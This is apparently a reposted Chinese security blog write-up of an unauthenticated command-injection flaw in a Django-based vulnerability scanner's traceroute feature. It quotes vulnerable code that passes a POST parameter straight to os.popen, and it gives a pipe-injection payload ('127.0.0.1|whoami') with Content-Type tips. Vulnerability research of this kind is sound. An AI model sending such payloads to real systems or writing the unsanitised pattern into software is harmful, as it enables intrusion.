在渗透测试中,遇到某个公司的漏洞扫描系统,顺势挖掘了下,发现了可远程命令执行的漏洞
通过某种手段,获取到了关键性的代码,得到以下结论:
1、该系统采用django开发(正好前段时间学完了用来练手)
2、该系统部分功能可未授权操作(巧了命令执行的功能就可以未授权)
3、官方给的系统建设建议是Linux(方便后续构造RCE参数)
在/system/traceroute路由下,系统提供了一个测试跟踪路由的功能,用户可以根据该功能测试网络环境是否正常,关键代码如下:
elif request.method == "POST":
try:
ip = request.POST.get('host')
if ip:
cmd = "traceroute %s" % (ip)
backinfo = os.popen(cmd).read().rstrip()
可以看到,POST传参进去之后没有任何过滤直接拼接参数组成cmd待执行的命令,然后使用os.popen去执行系统命令
我们构造命令执行的payload:
host=127.0.0.1|whoami
注意:有时候构造的参数会报错,大部分原因是因为Content-Type类型错误,之前在springboot和一些的一些框架上遇到过相同的问题,此处需要修改为:
Content-Type:application/x-www-form-urlencoded
springboot:
Content-Type:application/json
最后截图:
记在最后:
这个系统类似于这个功能的功能点很多,但是都在一定范围了做了限制,没法进一步利用,这个traceroute功能怕是一个漏网之鱼吧,开发估计要挨骂了
原文始发于微信公众号(增益安全):某漏洞扫描系统的0day挖掘
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论